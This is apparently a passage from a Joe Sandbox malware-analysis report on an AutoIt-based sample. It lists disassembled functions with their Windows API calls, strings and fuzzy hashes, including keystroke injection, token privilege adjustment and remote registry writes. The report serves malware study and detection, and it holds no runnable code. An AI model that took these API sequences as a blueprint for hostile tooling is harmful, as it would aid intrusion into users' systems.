Instruction ID: 945f6dd4d8d6280ccf882342d8afd2318769f18ab6501c25a3e035d9d826584b
Opcode Fuzzy Hash: debd4a192cd98d234165f3013593147144481ea24bfc443804d127757904428b
Instruction Fuzzy Hash: BF11A532618205ABDB14DF28C485CAFB7A9EF85324724811AE919CB391DF31EC11D790

Function 00094DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00094BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00094BEF

Part of subcall function 000B525B: __wfsopen.LIBCMT ref: 000B5266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,001552F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00094E0F

Part of subcall function 00094B6A: FreeLibrary.KERNEL32(00000000), ref: 00094BA4

Part of subcall function 00094C70: _memmove.LIBCMT ref: 00094CBA

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 8b55b00402f31b970f232b1c9633c0848ee56ed2d73dbb6434ba64dc28623571
Instruction ID: 1aa4bab89c533e10937d82c27f9504b856a7c16cc34082ede3413dcaeb2cc1ca
Opcode Fuzzy Hash: 8b55b00402f31b970f232b1c9633c0848ee56ed2d73dbb6434ba64dc28623571
Instruction Fuzzy Hash: A311A331600205ABCF25AF70CC56FED77A9AF44710F10892DF541A7192EF719A06AB51

Function 000CFD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 000CFD91

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 374e6074f21343559197aab20963e49329792df53d01ec781ebc6c36da947a1f
Instruction ID: 545a9898f1cf634d7ec85ae3f627309b3cb9533ab70025cb14d3e759aabcab24
Opcode Fuzzy Hash: 374e6074f21343559197aab20963e49329792df53d01ec781ebc6c36da947a1f
Instruction Fuzzy Hash: 192105B4A08341DFCB64DF64C444B5ABBE1BF89314F05896CF89A57722D731E805DB92

Function 000B4863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 000B48A6

Part of subcall function 000B8B28: __getptd_noexit.LIBCMT ref: 000B8B28

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: e9536a03ef8c707b5186d00920c8c90e491fa9a7d9fd32fc08413e6c2062924e
Instruction ID: 52329813a6e198dddb28da1a02aa8b99b08c16a2b1cf9c4734143d80c47a8f7b
Opcode Fuzzy Hash: e9536a03ef8c707b5186d00920c8c90e491fa9a7d9fd32fc08413e6c2062924e
Instruction Fuzzy Hash: D5F0AF31900609ABDF61AFB48C067EE3AA5AF01325F158414B424AA1A3CF788A51DB51

Function 00094E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,001552F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00094E7E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 4f2d3bf395a2d6f0c68559ce070c18bbdc1e291d84b859b2acc223cf12827d11
Instruction ID: d28c00fb6d6602ed810b4fa1c6d17a7921c7485dc45a9d0b662242c1767b740d
Opcode Fuzzy Hash: 4f2d3bf395a2d6f0c68559ce070c18bbdc1e291d84b859b2acc223cf12827d11
Instruction Fuzzy Hash: 62F03971501711CFCF389F64E894C56BBE1BF143293208A7EE1D682620C7329882EF40

Function 000B0791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 000B07B0

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: c5571489593ec94c98e3ae012dc58a8e2fb2acc79d79c1bf9c28da37a59eb832
Instruction ID: 0945c14f5800238366570c4c67a0935260d33c6e448a2b0ec7cc57511faaea33
Opcode Fuzzy Hash: c5571489593ec94c98e3ae012dc58a8e2fb2acc79d79c1bf9c28da37a59eb832
Instruction Fuzzy Hash: E8E0863690422857C72196589C05FEA779DDB896A0F0441B5FC0CD7205D9709C818690

Function 000F8E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 000F8EC1

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: 8e501f8838d8e5e5d191f1d47781acbdd5d6b2c6bc3ce9c8a6dc56e9e4f3d6a5
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: F8E092B1104B045BDB388A24DC11BE373E1AB09305F00085DF2AA83242EB6278419759

Function 000B525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 000B5266

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 61cb89f15e14e3d05f8660262815969496c82d52c6eb844b30e76cfd8268ca7a
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: B0B0927644020C77CE022A82EC02B893B199B46764F408060FB0C18162A673AA649A89

Function 01874F10 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01874F21

Memory Dump Source

Source File: 00000002.00000002.1320756058.0000000001872000.00000040.00000020.00020000.00000000.sdmp, Offset: 01872000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1872000_2NJzy3tiny.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 5d6d8123f6b0b9e0832be4e5dd7afea398462fe2bc016c36338c3f7fbb25a5f8
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: ACE0BF7594410D9FDB00EFA4D54969E7BB4EF04301F100161FD05D2281D7309A509A62

Non-executed Functions

Function 0011CABC Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00092612: GetWindowLongW.USER32(?,000000EB), ref: 00092623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0011CB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0011CB95
GetWindowLongW.USER32(?,000000F0), ref: 0011CBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0011CC00
SendMessageW.USER32 ref: 0011CC29
_wcsncpy.LIBCMT ref: 0011CC95
GetKeyState.USER32(00000011), ref: 0011CCB6
GetKeyState.USER32(00000009), ref: 0011CCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0011CCD9
GetKeyState.USER32(00000010), ref: 0011CCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0011CD0C
SendMessageW.USER32 ref: 0011CD33
SendMessageW.USER32(?,00001030,?,0011B348), ref: 0011CE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0011CE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0011CE60
SetCapture.USER32(?), ref: 0011CE69
ClientToScreen.USER32(?,?), ref: 0011CECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0011CEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0011CEF5
ReleaseCapture.USER32 ref: 0011CF00
GetCursorPos.USER32(?), ref: 0011CF3A
ScreenToClient.USER32(?,?), ref: 0011CF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 0011CFA3
SendMessageW.USER32 ref: 0011CFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 0011D00E
SendMessageW.USER32 ref: 0011D03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0011D05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0011D06D
GetCursorPos.USER32(?), ref: 0011D08D
ScreenToClient.USER32(?,?), ref: 0011D09A
GetParent.USER32(?), ref: 0011D0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 0011D123
SendMessageW.USER32 ref: 0011D154
ClientToScreen.USER32(?,?), ref: 0011D1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0011D1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 0011D20C
SendMessageW.USER32 ref: 0011D22F
ClientToScreen.USER32(?,?), ref: 0011D281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0011D2B5

Part of subcall function 000925DB: GetWindowLongW.USER32(?,000000EB), ref: 000925EC

GetWindowLongW.USER32(?,000000F0), ref: 0011D351

Strings

@GUI_DRAGID, xrefs: 0011CE9C
F, xrefs: 0011D235

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: a950b4025ee913e47d0a56056c576620634d60b90333a391d1b24e7772a02bd7
Instruction ID: 964fe105f5a83e30da670bb97ac68d4bca096e4890179d06eba9d05e8ca59620
Opcode Fuzzy Hash: a950b4025ee913e47d0a56056c576620634d60b90333a391d1b24e7772a02bd7
Instruction Fuzzy Hash: 9442AB74208741AFDB28CF24D844AEABBE6FF48350F14452DF655CB2A1C731E891DB92

Function 000A6F9E Relevance: 52.3, APIs: 19, Strings: 8, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000A71C3
_memset.LIBCMT ref: 000A7539
_memmove.LIBCMT ref: 000A76AC

Strings

Q\E, xrefs: 000A7FCB
\b(?<=\w), xrefs: 000E3773
_, xrefs: 000E23CB
\b(?=\w), xrefs: 000E3769
[:<:]], xrefs: 000A7479
[:>:]], xrefs: 000A7492
3c, xrefs: 000E23A0
DEFINE, xrefs: 000E2103

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove$_memset
String ID: 3c$DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_
API String ID: 1357608183-1997914515
Opcode ID: be6adacf0776dea63772c4e88679d57c46b7d936b1414708ef43cb4288262b27
Instruction ID: b5629c0b3713a3c38964b284f126cc584ab4adc13e54582fbea712f3aa1ae901
Opcode Fuzzy Hash: be6adacf0776dea63772c4e88679d57c46b7d936b1414708ef43cb4288262b27
Instruction Fuzzy Hash: 1A939071A04259DFDB24CF99C885BADB7F1FF48310F25816AE949BB291E7709E81CB40

Function 000948D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 000948DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 000CD665
IsIconic.USER32(?), ref: 000CD66E
ShowWindow.USER32(?,00000009), ref: 000CD67B
SetForegroundWindow.USER32(?), ref: 000CD685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 000CD69B
GetCurrentThreadId.KERNEL32 ref: 000CD6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 000CD6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 000CD6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 000CD6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 000CD6CF
SetForegroundWindow.USER32(?), ref: 000CD6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 000CD6E7
keybd_event.USER32(00000012,00000000), ref: 000CD6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 000CD6FC
keybd_event.USER32(00000012,00000000), ref: 000CD701
MapVirtualKeyW.USER32(00000012,00000000), ref: 000CD70A
keybd_event.USER32(00000012,00000000), ref: 000CD70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 000CD719
keybd_event.USER32(00000012,00000000), ref: 000CD71E
SetForegroundWindow.USER32(?), ref: 000CD721
AttachThreadInput.USER32(?,?,00000000), ref: 000CD748

Strings

Shell_TrayWnd, xrefs: 000CD660

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 34bde02f6db9d63f53482e990d41abe68bfaf9b8e22d56be4afbc98e8f8d8f12
Instruction ID: 117544f003afa04b00deb8389197133fca92792bbf6143bb9314313aa5d9f8e4
Opcode Fuzzy Hash: 34bde02f6db9d63f53482e990d41abe68bfaf9b8e22d56be4afbc98e8f8d8f12
Instruction Fuzzy Hash: 18315571A403187AEB245F619D49FBF7E6DEB44B50F10803AFA04EA1D1D6B05942EAA1

Function 000E8310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 000E87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 000E882B
Part of subcall function 000E87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 000E8858
Part of subcall function 000E87E1: GetLastError.KERNEL32 ref: 000E8865

_memset.LIBCMT ref: 000E8353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 000E83A5
CloseHandle.KERNEL32(?), ref: 000E83B6
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 000E83CD
GetProcessWindowStation.USER32 ref: 000E83E6
SetProcessWindowStation.USER32(00000000), ref: 000E83F0
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 000E840A

Part of subcall function 000E81CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,000E8309), ref: 000E81E0
Part of subcall function 000E81CB: CloseHandle.KERNEL32(?,?,000E8309), ref: 000E81F2

Strings

default, xrefs: 000E8405
winsta0, xrefs: 000E83C8
, xrefs: 000E8362

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 7649c0024a56b177888eda94a0f4b05ab6627fb8ca212fd9749053815ae5246d
Instruction ID: 23c841ec7e75e6a9c8c1727d42dcb69b2eac8616d71925a9811a08675ae6f351
Opcode Fuzzy Hash: 7649c0024a56b177888eda94a0f4b05ab6627fb8ca212fd9749053815ae5246d
Instruction Fuzzy Hash: CC81AC72900289AFDF51DFA1CD45AEEBBB9FF04304F148169F829B21A1DB318E45DB20

Function 000FC75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 000FC78D
FindClose.KERNEL32(00000000), ref: 000FC7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 000FC806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 000FC81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 000FC844
__swprintf.LIBCMT ref: 000FC890
__swprintf.LIBCMT ref: 000FC8D3

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

__swprintf.LIBCMT ref: 000FC927

Part of subcall function 000B3698: __woutput_l.LIBCMT ref: 000B36F1

__swprintf.LIBCMT ref: 000FC975

Part of subcall function 000B3698: __flsbuf.LIBCMT ref: 000B3713
Part of subcall function 000B3698: __flsbuf.LIBCMT ref: 000B372B

__swprintf.LIBCMT ref: 000FC9C4
__swprintf.LIBCMT ref: 000FCA13
__swprintf.LIBCMT ref: 000FCA62

Strings

%02d, xrefs: 000FC91B, 000FC925, 000FC973, 000FC9C2, 000FCA11, 000FCA60
%4d, xrefs: 000FC8CD
%4d%02d%02d%02d%02d%02d, xrefs: 000FC88A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 557ead2a6ad9669bb8d3fbe7d013d1ff30c5c9a223acc6624bde0b4d5edfc698
Instruction ID: c892086839f5764170d4eb6e8f206871eae3703bd4df8643ef558ac1c925d483
Opcode Fuzzy Hash: 557ead2a6ad9669bb8d3fbe7d013d1ff30c5c9a223acc6624bde0b4d5edfc698
Instruction Fuzzy Hash: 9BA13DB1408204ABDB14EFA4C986DEFB7ECEF95704F40491DF585C6192EB30EA09DB62

Function 000FEF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 000FEFB6
_wcscmp.LIBCMT ref: 000FEFCB
_wcscmp.LIBCMT ref: 000FEFE2
GetFileAttributesW.KERNEL32(?), ref: 000FEFF4
SetFileAttributesW.KERNEL32(?,?), ref: 000FF00E
FindNextFileW.KERNEL32(00000000,?), ref: 000FF026
FindClose.KERNEL32(00000000), ref: 000FF031
FindFirstFileW.KERNEL32(*.*,?), ref: 000FF04D
_wcscmp.LIBCMT ref: 000FF074
_wcscmp.LIBCMT ref: 000FF08B
SetCurrentDirectoryW.KERNEL32(?), ref: 000FF09D
SetCurrentDirectoryW.KERNEL32(00148920), ref: 000FF0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 000FF0C5
FindClose.KERNEL32(00000000), ref: 000FF0D2
FindClose.KERNEL32(00000000), ref: 000FF0E4

Strings

*.*, xrefs: 000FF048

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 89a3f71ffef4305c6a89acc4333e531294ab33dcdc8c28b8a276e3ed63ac3ada
Instruction ID: 1b8fcd65c145aeb0aaa55c0ed4c42d9a2c108c713928a853ff6b9457cefba2be
Opcode Fuzzy Hash: 89a3f71ffef4305c6a89acc4333e531294ab33dcdc8c28b8a276e3ed63ac3ada
Instruction Fuzzy Hash: 0731F53250061E7ADB28EFB4DC48AFE77EC9F48360F104179E904E25A2DF70DA85DA65

Function 00110857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00110953
RegCreateKeyExW.ADVAPI32(?,?,00000000,0011F910,00000000,?,00000000,?,?), ref: 001109C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00110A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00110A92
RegCloseKey.ADVAPI32(?), ref: 00110DB2
RegCloseKey.ADVAPI32(00000000), ref: 00110DBF

Strings

REG_MULTI_SZ, xrefs: 00110B7A
REG_QWORD, xrefs: 00110D00
REG_EXPAND_SZ, xrefs: 00110A2F
REG_BINARY, xrefs: 00110D4D
REG_DWORD, xrefs: 00110C83
REG_SZ, xrefs: 00110AD0

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
